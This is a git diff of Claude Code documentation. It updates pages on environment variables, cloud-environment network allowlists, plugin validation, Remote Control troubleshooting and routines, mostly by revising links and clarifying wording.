-| `CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC` | Set to any non-empty value to disable nonessential network traffic: auto-updates, telemetry, error reporting, the `/feedback` command, release notes, [gateway model discovery](/docs/en/llm-gateway-connect#add-gateway-models-to-the-model-picker) refreshes, and availability checks such as the [fast mode](/docs/en/fast-mode#use-fast-mode-behind-proxies-and-llm-gateways) check. Official plugin marketplace auto-install isn't covered; disable it with `CLAUDE_CODE_DISABLE_OFFICIAL_MARKETPLACE_AUTOINSTALL` |
+| `CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC` | Set to any non-empty value to disable nonessential network traffic: auto-updates, telemetry, error reporting, the `/feedback` command, release notes, [gateway model discovery](/docs/en/llm-gateway-connect#add-gateway-models-to-the-model-picker) refreshes, and availability checks such as the [fast mode](/docs/en/fast-mode#use-fast-mode-behind-proxies-and-llm-gateways) check. Feature-flag evaluation is also disabled, so [Remote Control](/docs/en/remote-control#troubleshooting) can't start while this is set. Official plugin marketplace auto-install isn't covered; disable it with `CLAUDE_CODE_DISABLE_OFFICIAL_MARKETPLACE_AUTOINSTALL` |
| `CLAUDE_CODE_DISABLE_NONSTREAMING_FALLBACK` | Set to `1` to disable the non-streaming fallback when a streaming request fails mid-stream. Streaming errors propagate to the retry layer instead. Useful when a proxy or gateway causes the fallback to produce duplicate tool execution |
| `CLAUDE_CODE_DISABLE_NOTIFICATION_PRESENCE_CHECK` | {/* min-version: 2.1.193 */}Set to `1` to send the `PushNotification` tool's desktop notification even while you are typing in or focused on the terminal. By default the tool skips both the desktop notification and the [mobile push](/docs/en/remote-control#mobile-push-notifications) when it detects recent keyboard activity or terminal focus. This variable disables only that local check, so the server can still suppress the mobile push when it detects that you are active. Requires Claude Code v2.1.193 or later |
| `CLAUDE_CODE_DISABLE_OFFICIAL_MARKETPLACE_AUTOINSTALL` | Set to `1` to skip automatic addition of the official plugin marketplace on first run |
@@ -292,8 +292,8 @@ Numeric variables such as timeouts, token budgets, and retry counts accept scien
| `CLAUDE_CODE_PROPAGATE_TRACEPARENT` | {/* min-version: 2.1.152 */}Set to `1` to propagate W3C trace context when `ANTHROPIC_BASE_URL` points at a custom proxy. Propagation covers the `traceparent` header on model and HTTP MCP requests and the `TRACEPARENT` environment variable for Bash, PowerShell, and hook subprocesses. By default, propagation is enabled only when connected directly to the Anthropic API. Added in v2.1.152. See [Traces (beta)](/docs/en/monitoring-usage#traces-beta) |
| `CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST` | Set by host platforms that embed Claude Code and manage model provider routing on its behalf. When set, provider-selection, endpoint, and authentication variables such as `CLAUDE_CODE_USE_BEDROCK`, `ANTHROPIC_BASE_URL`, and `ANTHROPIC_API_KEY` in settings files are ignored so user settings cannot override the host's routing. The automatic telemetry opt-out for Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry is also skipped, so telemetry follows the standard `DISABLE_TELEMETRY` opt-out. See [Default behaviors by API provider](/docs/en/data-usage#default-behaviors-by-api-provider) |
| `CLAUDE_CODE_PROXY_RESOLVES_HOSTS` | Set to `1` to allow the proxy to perform DNS resolution instead of the caller. Opt-in for environments where the proxy should handle hostname resolution |
-| `CLAUDE_CODE_REMOTE` | Set automatically to `true` when Claude Code is running as a [cloud session](/docs/en/claude-code-on-the-web). Read this from a hook or setup script to detect whether you are in a cloud environment |
-| `CLAUDE_CODE_REMOTE_SESSION_ID` | Set automatically in [cloud sessions](/docs/en/claude-code-on-the-web) to the current session's ID. Read this to construct a link back to the session transcript. See [Link output back to the session](/docs/en/claude-code-on-the-web#link-output-back-to-the-session) |
+| `CLAUDE_CODE_REMOTE` | Set automatically to `true` when Claude Code is running as a [cloud session](/docs/en/claude-code-on-the-web). Read this from a hook or setup script to detect whether you are in a cloud session |
+| `CLAUDE_CODE_REMOTE_SESSION_ID` | Set automatically in [cloud sessions](/docs/en/claude-code-on-the-web) to the current session's ID. Read this to construct a link back to the session transcript. See [Link output back to the session](/docs/en/cloud-environments#link-output-back-to-the-session) |
| `CLAUDE_CODE_RESUME_INTERRUPTED_TURN` | Set to `1` to automatically resume if the previous session ended mid-turn. Used in SDK mode so the model continues without requiring the SDK to re-send the prompt |
| `CLAUDE_CODE_RESUME_INTERRUPTED_TURN_MAX_AGE_MS` | {/* min-version: 2.1.211 */}Maximum age in milliseconds of the last transcript message for a session that ended mid-turn to continue automatically on resume. When the last message is older than this bound, Claude Code skips both the `CLAUDE_CODE_RESUME_INTERRUPTED_TURN` automatic resume and the injected `CLAUDE_CODE_RESUME_PROMPT` continuation message, and the session starts idle so you continue explicitly. Unset or `0` means no bound; a negative or non-numeric value applies a one-hour bound. Spawn scripts for long-running agents can set this so a restart against an old transcript doesn't re-run a stale prompt. Claude Code sets a one-hour bound itself when it restarts a crashed [agent view](/docs/en/agent-view) session that inherited its conversation from an interactive session. Requires Claude Code v2.1.211 or later |
| `CLAUDE_CODE_RESUME_PROMPT` | Override the continuation message injected when resuming a session that ended mid-turn. Defaults to `Continue from where you left off.`. Spawn scripts for long-running agents can set this to a more directive boot message. An empty string uses the default |
@@ -355,7 +355,7 @@ Numeric variables such as timeouts, token budgets, and retry counts accept scien
| `DISABLE_ERROR_REPORTING` | Set to `1` to opt out of error reporting |
| `DISABLE_EXTRA_USAGE_COMMAND` | Set to `1` to hide the `/usage-credits` command that lets users purchase additional usage beyond rate limits |
| `DISABLE_FEEDBACK_COMMAND` | Set to `1` to disable the `/feedback` command. {/* min-version: 2.1.212 */}Also disables `/bug` and `/share`, which report through the same path; before v2.1.212 they were aliases of `/feedback`, so the command was disabled under every name. The older name `DISABLE_BUG_COMMAND` is also accepted |
-| `DISABLE_GROWTHBOOK` | Set to `1` to disable GrowthBook feature-flag fetching and use code defaults for every flag. Telemetry event logging stays on unless `DISABLE_TELEMETRY` is also set |
+| `DISABLE_GROWTHBOOK` | Set to `1` to disable GrowthBook feature-flag fetching and use code defaults for every flag. Telemetry event logging stays on unless `DISABLE_TELEMETRY` is also set. [Remote Control](/docs/en/remote-control#troubleshooting) can't start while this is set |
| `DISABLE_INSTALLATION_CHECKS` | Set to `1` to disable installation warnings. Use only when manually managing the installation location, as this can mask issues with standard installations |
| `DISABLE_INSTALL_GITHUB_APP_COMMAND` | Set to `1` to hide the `/install-github-app` command. Already hidden when using third-party providers (Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry) |
| `DISABLE_INTERLEAVED_THINKING` | Set to `1` to prevent sending the interleaved-thinking beta header. Useful when your LLM gateway or provider does not support [interleaved thinking](https://platform.claude.com/docs/en/build-with-claude/extended-thinking#interleaved-thinking) |
@@ -366,10 +366,10 @@ Numeric variables such as timeouts, token budgets, and retry counts accept scien
| `DISABLE_PROMPT_CACHING_HAIKU` | Set to `1` to disable prompt caching for Haiku models |
| `DISABLE_PROMPT_CACHING_OPUS` | Set to `1` to disable prompt caching for Opus models |
| `DISABLE_PROMPT_CACHING_SONNET` | Set to `1` to disable prompt caching for Sonnet models |
-| `DISABLE_TELEMETRY` | Set to `1` to opt out of telemetry. Telemetry events do not include user data like code, file paths, or bash commands. Also disables feature-flag fetching with the same effect as `DISABLE_GROWTHBOOK`, so some flagged features may be unavailable |
+| `DISABLE_TELEMETRY` | Set to `1` to opt out of telemetry. Telemetry events do not include user data like code, file paths, or bash commands. Also disables feature-flag fetching with the same effect as `DISABLE_GROWTHBOOK`, so some flagged features may be unavailable and [Remote Control](/docs/en/remote-control#troubleshooting) can't start |
| `DISABLE_UPDATES` | Set to `1` to block all updates including manual `claude update` and `claude install`. Stricter than `DISABLE_AUTOUPDATER`. Use when distributing Claude Code through your own channels and users should not self-update |
| `DISABLE_UPGRADE_COMMAND` | Set to `1` to hide the `/upgrade` command |
-| `DO_NOT_TRACK` | Set to `1` to opt out of telemetry. Equivalent to setting `DISABLE_TELEMETRY`. Claude Code honors this as the cross-tool convention recognized by many developer CLIs |
+| `DO_NOT_TRACK` | Set to `1` to opt out of telemetry. Equivalent to setting `DISABLE_TELEMETRY`, including that [Remote Control](/docs/en/remote-control#troubleshooting) can't start. Claude Code honors this as the cross-tool convention recognized by many developer CLIs |
| `ENABLE_CLAUDEAI_MCP_SERVERS` | Set to `false` to disable [claude.ai MCP servers](/docs/en/mcp#use-mcp-servers-from-claude-ai) in Claude Code. Enabled by default for logged-in users. To disable per-project or per-org, set [`disableClaudeAiConnectors`](/docs/en/settings#available-settings) in settings instead |
| `ENABLE_PROMPT_CACHING_1H` | Set to `1` to request a 1-hour [prompt cache TTL](/docs/en/prompt-caching#cache-lifetime) instead of the default 5 minutes. Intended for API key, [Amazon Bedrock](/docs/en/amazon-bedrock), [Google Cloud's Agent Platform](/docs/en/google-vertex-ai), [Microsoft Foundry](/docs/en/microsoft-foundry), and [Claude Platform on AWS](/docs/en/claude-platform-on-aws) users. Subscription users within included usage receive 1-hour TTL automatically. 1-hour cache writes are billed at a higher rate |
| `ENABLE_PROMPT_CACHING_1H_BEDROCK` | Deprecated. Use `ENABLE_PROMPT_CACHING_1H` instead |
diff --git a/content/en/docs/claude-code/errors.md b/content/en/docs/claude-code/errors.md
index 1a51926aa..21b14e035 100644
--- a/content/en/docs/claude-code/errors.md
+++ b/content/en/docs/claude-code/errors.md
@@ -775,17 +775,17 @@ HTTP 403
x-deny-reason: host_not_allowed
```
-You may also see a TLS certificate that doesn't match the destination's real certificate. The cloud environment routes outbound traffic through a proxy that enforces the network policy, so a mismatched certificate means the proxy terminated the connection, not the destination.
+You may also see a TLS certificate that doesn't match the destination's real certificate. Cloud sessions route outbound traffic through a proxy that enforces the network policy, so a mismatched certificate means the proxy terminated the connection, not the destination.
-This is not a client-side network problem. Cloud sessions and [routines](/docs/en/routines) run inside a sandboxed environment whose outbound traffic is filtered to the environment's allowlist. The **Default** environment uses **Trusted** access, which permits the [default allowlist](/docs/en/claude-code-on-the-web#default-allowed-domains) of package registries, cloud provider APIs, container registries, and common development domains but blocks everything else.
+This is not a client-side network problem. Cloud sessions and [routines](/docs/en/routines) run inside a sandboxed VM whose outbound traffic through the session's network is filtered to the [cloud environment's](/docs/en/cloud-environments) allowlist; [GitHub operations](/docs/en/cloud-environments#github-proxy) and MCP connector traffic use separate channels, which is why they can keep working while other hosts are blocked. The **Default** environment uses **Trusted** access, which permits the [default allowlist](/docs/en/cloud-environments#default-allowed-domains) of package registries, cloud provider APIs, container registries, and common development domains and blocks other domains on that path.
**What to do:**
* Open the routine for editing, or start a cloud session. Select the cloud icon showing your environment's name, such as **Default**, to open the selector. Hover over your environment and click the settings icon.
-* In the **Update cloud environment** dialog, change **Network access** from **Trusted** to **Custom**, then add the blocked domain to **Allowed domains**. Enter one domain per line. Check **Also include default list of common package managers** to keep the [default allowlist](/docs/en/claude-code-on-the-web#default-allowed-domains) alongside your custom domains. Select **Full** instead if you want unrestricted access.
+* In the **Update cloud environment** dialog, change **Network access** from **Trusted** to **Custom**, then add the blocked domain to **Allowed domains**. Enter one domain per line. Check **Also include default list of common package managers** to keep the [default allowlist](/docs/en/cloud-environments#default-allowed-domains) alongside your custom domains. Select **Full** instead if you want unrestricted access.
* Click **Save changes**. The next run uses the updated allowlist.
-See [Network access](/docs/en/claude-code-on-the-web#network-access) for access levels and the default allowlist. Local CLI sessions are not affected by this policy.
+See [Network access](/docs/en/cloud-environments#network-access) for access levels and the default allowlist. Local CLI sessions are not affected by this policy.
Couldn't reconnect to your Remote Control session
diff --git a/content/en/docs/claude-code/glossary.md b/content/en/docs/claude-code/glossary.md
index 8cd927d7c..f6f8bf007 100644
--- a/content/en/docs/claude-code/glossary.md
+++ b/content/en/docs/claude-code/glossary.md
@@ -290,7 +290,7 @@ Learn more: [Create custom subagents](/docs/en/sub-agents)
### Surface
-Any place you access Claude Code: the CLI, VS Code, JetBrains, Desktop, or claude.ai. All surfaces share the same engine. Sessions on your machine read your local CLAUDE.md, settings, and skills; [cloud sessions](/docs/en/claude-code-on-the-web#what’s-available-in-cloud-sessions) start from a fresh clone of your repository and don't read `~/.claude/` on your machine. Slack and the Chrome extension are integrations that connect to a surface rather than surfaces themselves.
+Any place you access Claude Code: the CLI, VS Code, JetBrains, Desktop, or claude.ai. All surfaces share the same engine. Sessions on your machine read your local CLAUDE.md, settings, and skills; [cloud sessions](/docs/en/cloud-environments#what-carries-over-from-your-setup) start from a fresh clone of your repository and don't read `~/.claude/` on your machine. Slack and the Chrome extension are integrations that connect to a surface rather than surfaces themselves.
Learn more: [Platforms and integrations](/docs/en/platforms)
diff --git a/content/en/docs/claude-code/mobile.md b/content/en/docs/claude-code/mobile.md
index 02e18b23e..627011e9b 100644
--- a/content/en/docs/claude-code/mobile.md
+++ b/content/en/docs/claude-code/mobile.md
@@ -52,7 +52,7 @@ Cloud sessions and Remote Control run from the **Code** tab and are covered belo
Claude Code on the web runs tasks on Anthropic-managed cloud infrastructure, so a session continues after you put your phone away. From the Code tab, select a repository and branch, describe the task, and submit it. Sessions persist across devices: a task you start on your laptop is ready to review from your phone, and one you start from your phone is waiting when you're back at your desk.
-Open a session in the app to check progress, answer Claude's questions, or steer it in a new direction. You can also tell Claude to [watch a pull request](/docs/en/claude-code-on-the-web#auto-fix-pull-requests) and fix CI failures or review comments as they arrive. To connect GitHub and create your first environment, follow the [web quickstart](/docs/en/web-quickstart), and see [Claude Code on the web](/docs/en/claude-code-on-the-web) for everything cloud sessions can do.
+Open a session in the app to check progress, answer Claude's questions, or steer it in a new direction. You can also tell Claude to [watch a pull request](/docs/en/claude-code-on-the-web#auto-fix-pull-requests) and fix CI failures or review comments as they arrive. To connect GitHub and set up your environment, follow the [web quickstart](/docs/en/web-quickstart), and see [Claude Code on the web](/docs/en/claude-code-on-the-web) for everything cloud sessions can do.
### Continue a local session with Remote Control
@@ -77,7 +77,8 @@ The mobile client covers most of what a session needs, with a few limitations:
## Related resources
* [Platforms and integrations](/docs/en/platforms): compare every surface Claude Code runs on
-* [Claude Code on the web](/docs/en/claude-code-on-the-web): how cloud sessions run, network access, and moving work to and from your terminal
+* [Claude Code on the web](/docs/en/claude-code-on-the-web): how cloud sessions run and how to move work to and from your terminal
+* [Configure cloud environments](/docs/en/cloud-environments): network access levels, environment variables, and setup scripts for cloud sessions
* [Remote Control](/docs/en/remote-control): continue a local session from any device
* [Sessions from Dispatch](/docs/en/desktop#sessions-from-dispatch): how Dispatch tasks become Code sessions in the Desktop app
* [Channels](/docs/en/channels): ask Claude something from your phone via Telegram, Discord, or iMessage while the work runs on your machine
diff --git a/content/en/docs/claude-code/permission-modes.md b/content/en/docs/claude-code/permission-modes.md
index d62afcda2..57db578e9 100644
--- a/content/en/docs/claude-code/permission-modes.md
+++ b/content/en/docs/claude-code/permission-modes.md
@@ -122,7 +122,7 @@ You can switch modes mid-session, at startup, or as a persistent default. The mo
Use the mode dropdown next to the prompt box on [claude.ai/code](https://claude.ai/code) or in the mobile app. Permission prompts appear in claude.ai for approval. Which modes appear depends on where the session runs:
- * **Cloud sessions** on [Claude Code on the web](/docs/en/claude-code-on-the-web): Accept edits, Plan, and Auto. Accept edits corresponds to `default` mode: the cloud environment pre-approves file edits regardless of mode, so the dropdown shows Accept edits instead of Manual. Cloud sessions still honor `defaultMode: "acceptEdits"` from settings. Auto mode appears only when your organization allows it and the selected model supports it. Bypass permissions isn't available.
+ * **Cloud sessions** on [Claude Code on the web](/docs/en/claude-code-on-the-web): Accept edits, Plan, and Auto. Accept edits corresponds to `default` mode: cloud sessions pre-approve file edits regardless of mode, so the dropdown shows Accept edits instead of Manual. Cloud sessions still honor `defaultMode: "acceptEdits"` from settings. Auto mode appears only when your organization allows it and the selected model supports it. Bypass permissions isn't available.
* **[Remote Control](/docs/en/remote-control) sessions** on your local machine: Manual, Accept edits, and Plan. You can't select Auto or Bypass permissions from the app. {/* min-version: 2.1.202 */}The dropdown shows the mode the local session is in, including a mode set from the terminal, and updates when the mode changes in the app or in the terminal. The one exception is Bypass permissions: the session never reports that mode to claude.ai, so switching into it from the terminal doesn't change what the dropdown shows. Before v2.1.202, sessions connected with `/remote-control` or `claude --remote-control` didn't report their mode at all, so claude.ai and the mobile app could show a mode the session wasn't in. The mismatch affected only the label: Claude Code generated permission prompts from the session's actual mode, and they still appeared in the app for approval.
For Remote Control, the host must be signed in with your claude.ai account; API keys are not supported. You can also set the starting mode when launching the host:
diff --git a/content/en/docs/claude-code/plugin-marketplaces.md b/content/en/docs/claude-code/plugin-marketplaces.md
index f704f76ee..347e1d51e 100644
--- a/content/en/docs/claude-code/plugin-marketplaces.md
+++ b/content/en/docs/claude-code/plugin-marketplaces.md
@@ -1034,7 +1034,7 @@ Both `remove` and `update` fail when run against a seed-managed marketplace, whi
* Verify the marketplace URL is accessible
* Check that `.claude-plugin/marketplace.json` exists at the specified path
-* Ensure JSON syntax is valid using `claude plugin validate` or `/plugin validate`. To check skill, agent, and command frontmatter, run the command against each plugin directory
+* Ensure JSON syntax is valid using `claude plugin validate .` or `/plugin validate .` from the marketplace directory. To check skill, agent, and command frontmatter, run the command against each plugin directory
* For private repositories, confirm you have access permissions
### Marketplace validation errors
diff --git a/content/en/docs/claude-code/plugin-relevance.md b/content/en/docs/claude-code/plugin-relevance.md
index e087f8a5d..72ee4c9d1 100644
--- a/content/en/docs/claude-code/plugin-relevance.md
+++ b/content/en/docs/claude-code/plugin-relevance.md
@@ -99,7 +99,7 @@ The following example uses `manifestDeps` to suggest a Stripe plugin once Claude
```
- Unknown fields under `relevance` and `relevance.signals` are ignored at load time so older Claude Code clients continue to load your marketplace. Run `claude plugin validate` to surface them as warnings.
+ Claude Code ignores unknown fields under `relevance` and `relevance.signals` at load time, so older clients continue to load your marketplace. Run `claude plugin validate` against your marketplace directory, for example `claude plugin validate ./my-marketplace`, to surface them as warnings.
## Enable suggestions in managed settings
diff --git a/content/en/docs/claude-code/plugins-reference.md b/content/en/docs/claude-code/plugins-reference.md
index 32823cb17..a5de7cfc4 100644
--- a/content/en/docs/claude-code/plugins-reference.md
+++ b/content/en/docs/claude-code/plugins-reference.md
@@ -1186,14 +1186,14 @@ This shows:
### Common issues
-| Issue | Cause | Solution |
-| :---------------------------------- | :------------------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Plugin not loading | Invalid `plugin.json` | Run `claude plugin validate` or `/plugin validate` to check `plugin.json`, skill/agent/command frontmatter, and `hooks/hooks.json` for syntax and schema errors |
-| Skills not appearing | Wrong directory structure | Ensure `skills/` or `commands/` is at the plugin root, not inside `.claude-plugin/` |
-| Hooks not firing | Script not executable | Run `chmod +x script.sh` |
-| MCP server fails | Missing `${CLAUDE_PLUGIN_ROOT}` | Use variable for all plugin paths |
-| Path errors | Absolute paths used | All paths must be relative and start with `./` |
-| LSP `Executable not found in $PATH` | Language server not installed | Install the binary (e.g., `npm install -g typescript-language-server typescript`) |
+| Issue | Cause | Solution |
+| :---------------------------------- | :------------------------------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Plugin not loading | Invalid `plugin.json` | Run `claude plugin validate ./my-plugin` or `/plugin validate ./my-plugin`, where `./my-plugin` is your plugin directory, to check `plugin.json`, skill/agent/command frontmatter, and `hooks/hooks.json` for syntax and schema errors |
+| Skills not appearing | Wrong directory structure | Ensure `skills/` or `commands/` is at the plugin root, not inside `.claude-plugin/` |
+| Hooks not firing | Script not executable | Run `chmod +x script.sh` |
+| MCP server fails | Missing `${CLAUDE_PLUGIN_ROOT}` | Use variable for all plugin paths |
+| Path errors | Absolute paths used | All paths must be relative and start with `./` |
+| LSP `Executable not found in $PATH` | Language server not installed | Install the binary (e.g., `npm install -g typescript-language-server typescript`) |
### Example error messages
diff --git a/content/en/docs/claude-code/plugins.md b/content/en/docs/claude-code/plugins.md
index cd1dbda07..88c2af3fa 100644
--- a/content/en/docs/claude-code/plugins.md
+++ b/content/en/docs/claude-code/plugins.md
@@ -129,7 +129,7 @@ This quickstart walks you through creating a plugin with a custom skill. You'll
/my-first-plugin:hello
```
- You'll see Claude respond with a greeting. Run `/help` to see your skill listed under the plugin namespace.
+ You'll see Claude respond with a greeting. Run `/help` and open the **Custom commands** tab to see your skill listed under the plugin namespace.
**Why namespacing?** Plugin skills are always namespaced (like `/my-first-plugin:hello`) to prevent conflicts when multiple plugins have skills with the same name.
@@ -153,7 +153,7 @@ This quickstart walks you through creating a plugin with a custom skill. You'll
Greet the user named "$ARGUMENTS" warmly and ask how you can help them today. Make the greeting personal and encouraging.
```
- Run `/reload-plugins` to pick up the changes, then try the skill with your name:
+ Run `/reload-plugins` to pick up the changes. The skills count in the summary covers only `commands/` directories, so it can report `0 skills` even though the skill you just edited reloaded. Then try the skill with your name:
```shell theme={null}
/my-first-plugin:hello Alex
@@ -339,7 +339,7 @@ As you make changes to your plugin, run `/reload-plugins` to pick up the updates
```
-To test a plugin that is already packaged as a `.zip` archive and hosted at a URL, such as a CI build artifact, use `--plugin-url` instead. Claude Code fetches the archive at startup and loads it for that session only. If the fetch fails or the archive is invalid, Claude Code reports a plugin load error and starts without it. The same [trust considerations](/docs/en/discover-plugins#security) apply as for any plugin source: only point this flag at archives you control or trust.
+To test a plugin that is already packaged as a `.zip` archive and hosted at a URL, such as a CI build artifact, use `--plugin-url` instead. Claude Code fetches the archive at startup and loads it for that session only. If Claude Code can't fetch the archive, or the archive is invalid, it starts without the plugin and records a plugin load error that you can review in the `/plugin` manager's **Errors** tab. The same [trust considerations](/docs/en/discover-plugins#security) apply as for any plugin source: only point this flag at archives you control or trust.
To load multiple plugins, repeat the flag for each URL:
@@ -386,7 +386,7 @@ To submit your plugin for community-marketplace review, use one of the in-app fo
The claude.ai form requires a Team or Enterprise organization and directory management access; organization Owners have this access by default. Individual authors who aren't part of a Team or Enterprise organization can use the Console form instead.
-Run `claude plugin validate` locally before you submit. The review pipeline runs the same check on every submission, along with automated safety screening.
+Run `claude plugin validate ./your-plugin` locally before you submit, replacing `./your-plugin` with the path to your plugin directory. The review pipeline runs the same check on every submission, along with automated safety screening. When validation passes, Claude Code prints `✔ Validation passed`, or `✔ Validation passed with warnings` if there are warnings. Warnings don't fail validation; add `--strict` to treat them as errors.
Approved plugins are pinned to a specific commit SHA in the [`anthropics/claude-plugins-community`](https://github.com/anthropics/claude-plugins-community) catalog, and CI bumps the pin automatically as you push new commits to your repository. The public catalog syncs nightly from the review pipeline, so there can be a delay between approval and your plugin appearing in `marketplace.json`. To check whether your plugin is installable yet, search for its name in the [community catalog](https://github.com/anthropics/claude-plugins-community/blob/main/.claude-plugin/marketplace.json).
@@ -424,18 +424,17 @@ If you already have skills or hooks in your `.claude/` directory, you can conver
- Copy your existing configurations to the plugin directory:
+ Copy each configuration directory you have to the plugin root. You might not have all three: if a directory doesn't exist, `cp` prints `No such file or directory` and copies nothing, so skip that command or ignore the error.
```bash theme={null}
- # Copy commands
cp -r .claude/commands my-plugin/
- # Copy agents (if any)
cp -r .claude/agents my-plugin/
- # Copy skills (if any)
cp -r .claude/skills my-plugin/
```
+
+ Your plugin now contains copies of the directories you had under `.claude/`. Run `ls my-plugin` to confirm: you should see each directory you copied.
diff --git a/content/en/docs/claude-code/remote-control.md b/content/en/docs/claude-code/remote-control.md
index 5771f3a73..5c972fe44 100644
--- a/content/en/docs/claude-code/remote-control.md
+++ b/content/en/docs/claude-code/remote-control.md
@@ -262,7 +262,7 @@ Claude Code skips mobile push notifications while you are typing in or focused o
## Limitations
* **One remote session per interactive process**: outside of server mode, each Claude Code instance supports one remote session at a time. Use [server mode](#start-a-remote-control-session) to run multiple concurrent sessions from a single process.
-* **Local process must keep running**: Remote Control runs as a local process. If you close the terminal, quit VS Code, or otherwise stop the `claude` process, the session ends.
+* **Local process must keep running**: Remote Control runs as a local process. If you close the terminal, quit VS Code, or otherwise stop the `claude` process, the session ends. To keep a session running on a remote machine after you disconnect from SSH, start it inside `tmux` or `screen`.
* **Extended network outage**: if your machine is awake but unable to reach the network for more than roughly 10 minutes, the session times out and the process exits. Run `claude remote-control` again to start a new session.
* **Ultraplan disconnects Remote Control**: starting an [ultraplan](/docs/en/ultraplan) session disconnects any active Remote Control session because both features occupy the claude.ai/code interface and only one can be connected at a time.
* **Some commands are local-only**: commands that only run in the terminal interface, such as `/plugin` or `/resume`, work only from the local CLI, whether or not you pass an argument. The following work from mobile and web:
@@ -296,6 +296,10 @@ The Remote Control rollout has not reached your account, or your cached entitlem
Claude Code could not reach the feature-flag service to check whether Remote Control is enabled for your account, typically because you are offline or a proxy is blocking the request. Retry once you have network access, or run `claude doctor` for details. The related message "Couldn't verify your organization's Remote Control policy" has the same cause and the same fix. Both messages were added in v2.1.178.
+### "Remote Control requires feature-flag evaluation"
+
+The full message names the environment variable that caused it: `CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC`, `DISABLE_TELEMETRY`, `DO_NOT_TRACK`, or `DISABLE_GROWTHBOOK`. These privacy opt-outs disable feature-flag evaluation, which Remote Control needs to check its rollout gate. Unset the named variable, or start the session in a shell without it. Before v2.1.154, this case surfaced as "Remote Control is not yet enabled for your account" instead of naming the variable.
+
### "Remote Control is only available when using Claude via api.anthropic.com"
The session isn't talking to the Anthropic API directly, so there is no claude.ai backend to pair with. This happens on Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry. {/* min-version: 2.1.196 */}It also happens when [`ANTHROPIC_BASE_URL`](/docs/en/env-vars) points at a host other than `api.anthropic.com`, such as an [LLM gateway](/docs/en/llm-gateway) or proxy, even if you sign in with claude.ai. Before v2.1.196, Claude Code didn't show this message for a custom `ANTHROPIC_BASE_URL`. See the [error reference](/docs/en/errors#remote-control-requires-the-anthropic-api) for the full cause list.
@@ -355,7 +359,7 @@ Claude Code offers several ways to work when you're not at your terminal. They d
## Related resources
-* [Claude Code on the web](/docs/en/claude-code-on-the-web): run sessions in Anthropic-managed cloud environments instead of on your machine
+* [Claude Code on the web](/docs/en/claude-code-on-the-web): run sessions on Anthropic-managed infrastructure instead of your machine, configured through [cloud environments](/docs/en/cloud-environments)
* [Ultraplan](/docs/en/ultraplan): launch a cloud planning session from your terminal and review the plan in your browser
* [Channels](/docs/en/channels): forward Telegram, Discord, or iMessage into a session so Claude reacts to messages while you're away
* [Dispatch](/docs/en/desktop#sessions-from-dispatch): message a task from your phone and it can spawn a Desktop session to handle it
diff --git a/content/en/docs/claude-code/routines.md b/content/en/docs/claude-code/routines.md
index b54df973c..0cc3d10f2 100644
--- a/content/en/docs/claude-code/routines.md
+++ b/content/en/docs/claude-code/routines.md
@@ -50,7 +50,7 @@ Create a routine from the web at [claude.ai/code/routines](https://claude.ai/cod
The creation form sets up the routine's prompt, repositories, environment, connectors, and triggers.
-Routines run autonomously as full Claude Code cloud sessions: there is no permission-mode picker and no approval prompts during a run. The session can run shell commands, use [skills](/docs/en/skills) committed to the cloned repository, and call any connectors you include. What a routine can reach is determined by the repositories you select and their branch-push setting, the [environment's](/docs/en/claude-code-on-the-web#the-cloud-environment) network access and variables, and the connectors you include. Scope each of those to what the routine actually needs.
+Routines run autonomously as full Claude Code cloud sessions: there is no permission-mode picker and no approval prompts during a run. The session can run shell commands, use [skills](/docs/en/skills) committed to the cloned repository, and call any connectors you include. What a routine can reach is determined by the repositories you select and their branch-push setting, the [environment's](/docs/en/cloud-environments) network access and variables, and the connectors you include. Scope each of those to what the routine actually needs.
Routines belong to your individual claude.ai account. They are not shared with teammates, and they count against your account's daily run allowance. Anything a routine does through your connected GitHub identity or connectors appears as you: commits and pull requests carry your GitHub user, and Slack messages, Linear tickets, or other connector actions use your linked accounts for those services.
@@ -74,13 +74,13 @@ Routines belong to your individual claude.ai account. They are not shared with t
- Pick a [cloud environment](/docs/en/claude-code-on-the-web#the-cloud-environment) for the routine. Environments control what the cloud session has access to:
+ Pick a [cloud environment](/docs/en/cloud-environments) for the routine. Environments control what the cloud session has access to:
* **Network access**: set the level of internet access available during each run
- * **Environment variables**: provide API keys, tokens, or other secrets Claude can use
- * **Setup script**: install dependencies and tools the routine needs. The result is [cached](/docs/en/claude-code-on-the-web#environment-caching), so the script doesn't re-run on every session
+ * **Environment variables**: provide values Claude can use during each run. They're [visible to anyone who uses the environment](/docs/en/cloud-environments#what-carries-over-from-your-setup), so add credentials with that in mind
+ * **Setup script**: install dependencies and tools the routine needs. The result is [cached](/docs/en/cloud-environments#environment-caching), so the script doesn't re-run on every session
- A **Default** environment is provided with **Trusted** network access, which allows the [default set](/docs/en/claude-code-on-the-web#default-allowed-domains) of package registries, cloud provider APIs, container registries, and common development domains, but blocks everything else. If your routine needs to reach your own services or a domain outside that list, edit the environment's [network access](/docs/en/claude-code-on-the-web#network-access) before running. To use a separate environment, [create one](/docs/en/claude-code-on-the-web#configure-your-environment) first.
+ A **Default** environment is provided with **Trusted** network access, which allows only the [default allowlist](/docs/en/cloud-environments#default-allowed-domains) of package registries, cloud provider APIs, container registries, and common development domains through the session's network. Connectors you add to the routine reach their services through Anthropic's servers, so they don't need allowlist changes. If your routine needs to reach your own services directly, or a domain outside that list, edit the environment's [network access](/docs/en/cloud-environments#network-access) before running. To use a separate environment, [create one](/docs/en/cloud-environments#configure-your-environment) first.
@@ -340,9 +340,9 @@ To manage or add connectors outside of the routine form, visit [claude.ai/custom
### Environments and network access
-Each routine runs in a [cloud environment](/docs/en/claude-code-on-the-web#the-cloud-environment) that controls network access, environment variables, and setup scripts. The routine inherits the environment's network policy on every run.
+Each routine uses a [cloud environment](/docs/en/cloud-environments) that controls network access, environment variables, and setup scripts. The routine inherits the environment's network policy on every run.
